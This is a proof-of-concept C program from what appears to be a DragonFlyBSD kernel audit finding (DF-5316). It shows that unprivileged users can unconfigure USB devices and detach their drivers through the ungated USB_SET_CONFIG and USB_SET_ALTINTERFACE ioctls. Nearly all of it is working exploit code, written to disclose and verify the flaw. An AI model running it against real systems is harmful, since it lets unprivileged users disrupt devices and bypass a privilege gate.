⬢ DragonFlyBSD Kernel Audit
DF-5316 / df5316.c
← back to finding ↓ download raw
/*
 * DF-5316 -- missing privilege check on USB_SET_CONFIG /
 * USB_SET_ALTINTERFACE in ugen_ioctl_post (sys/bus/u4b/usb_generic.c).
 *
 * The same file gates the equivalent RAW control requests behind
 * caps_priv_check_self(SYSCAP_NODRIVER):
 *   ugen_check_request(): UR_SET_ADDRESS / UR_SET_CONFIG /
 *   UR_SET_INTERFACE  [usb_generic.c:874-887]
 * and USB_DEVICEENUMERATE / ugen_re_enumerate() is gated too
 * [usb_generic.c:952].  But:
 *   USB_SET_CONFIG     -> ugen_set_config()    [usb_generic.c:2096-2102]
 *   USB_SET_ALTINTERFACE -> ugen_set_interface() [usb_generic.c:2114-2121]
 * have NO privilege check at all (only FWRITE on the fd), so any
 * unprivileged user with libusb-style access to the ugen control node
 * (operator group / 0660, or 0666 rigs) can reconfigure the device,
 * detach its drivers and force re-enumeration -- exactly what the
 * SYSCAP gate on the raw request path is supposed to prevent.
 *
 * Build:  cc -O -Wall -o df5316 df5316.c
 * Run:    ./df5316              (unprivileged, rw on /dev/usb/0.2.0)
 * Success: (1) raw SET_CONFIGURATION via USB_REQUEST -> EPERM,
 *          (2) USB_SET_CONFIG ioctl -> 0 and the device actually
 *          unconfigures (config index 255, driver detached, ugen
 *          endpoint nodes vanish), (3) USB_SET_CONFIG(0) restores it.
 */
#include <sys/types.h>
#include <sys/ioctl.h>
#include <err.h>
#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <bus/u4b/usb.h>
#include <bus/u4b/usb_ioctl.h>

#ifndef DEV
#define	DEV	"/dev/usb/0.2.0"
#endif

static int fd;

static int
get_config(int *idx)
{
	return (ioctl(fd, USB_GET_CONFIG, idx));
}

static void
show_state(const char *tag)
{
	int cfg = -1;

	if (get_config(&cfg) == 0)
		printf("[%s] curr_config_index = %d\n", tag, cfg);
	else
		printf("[%s] USB_GET_CONFIG: %s\n", tag, strerror(errno));
	if (access("/dev/usb/0.2.1", F_OK) == 0)
		printf("[%s] /dev/usb/0.2.1 (interrupt-IN endpoint node): present\n", tag);
	else
		printf("[%s] /dev/usb/0.2.1: GONE (driver detached / unconfigured)\n", tag);
}

int
main(void)
{
	struct usb_ctl_request ur;
	uint8_t xfer_buf[8];
	int cfg, r, i;

	fd = open(DEV, O_RDWR);
	if (fd < 0)
		err(1, "open %s (as %d)", DEV, geteuid());

	printf("[*] running as uid=%d euid=%d\n", getuid(), geteuid());
	get_config(&cfg);
	show_state("before");

	/*
	 * 1) Prove the raw control-request path IS privileged:
	 *    SET_CONFIGURATION(current) via USB_REQUEST.
	 */
	memset(&ur, 0, sizeof(ur));
	ur.ucr_request.bmRequestType = UT_WRITE_DEVICE;	/* 0x00 */
	ur.ucr_request.bRequest = UR_SET_CONFIG;	/* 0x09 */
	USETW(ur.ucr_request.wValue, cfg ? cfg : 1);
	USETW(ur.ucr_request.wIndex, 0);
	USETW(ur.ucr_request.wLength, 0);
	ur.ucr_data = xfer_buf;
	r = ioctl(fd, USB_REQUEST, &ur);
	printf("[1] USB_REQUEST(SET_CONFIGURATION) = %d errno=%s "
	    "(expected EPERM: SYSCAP_NODRIVER gate)\n",
	    r, r ? strerror(errno) : "0/no-error");

	/*
	 * 2) The ioctl that does the same thing without any gate:
	 *    unconfigure the device (index 0xFF = USB_UNCONFIG_INDEX).
	 */
	r = ioctl(fd, USB_SET_CONFIG, &(int){255});
	printf("[2] USB_SET_CONFIG(255=UNCONFIG) = %d errno=%s "
	    "(expected 0: no privilege check on this path)\n",
	    r, r ? strerror(errno) : "0/no-error");

	for (i = 0; i < 40; i++) {	/* wait for the explore thread */
		int c;

		if (get_config(&c) == 0 && c == 255)
			break;
		usleep(250000);
	}
	show_state("after unconfig");

	/*
	 * 3) USB_SET_ALTINTERFACE is equally ungated; on the mouse
	 *    (single alt) it is a no-op that must still return 0.
	 */
	{
		struct usb_alt_interface ai;

		memset(&ai, 0, sizeof(ai));
		ai.uai_interface_index = 0;
		ai.uai_alt_index = 0;
		r = ioctl(fd, USB_SET_ALTINTERFACE, &ai);
		printf("[3] USB_SET_ALTINTERFACE(0,0) = %d errno=%s\n",
		    r, r ? strerror(errno) : "0/no-error");
	}

	/*
	 * 4) Restore the configuration (again unprivileged).
	 */
	r = ioctl(fd, USB_SET_CONFIG, &(int){0});
	printf("[4] USB_SET_CONFIG(0) restore = %d errno=%s\n",
	    r, r ? strerror(errno) : "0/no-error");
	sleep(3);
	show_state("after restore");

	return (0);
}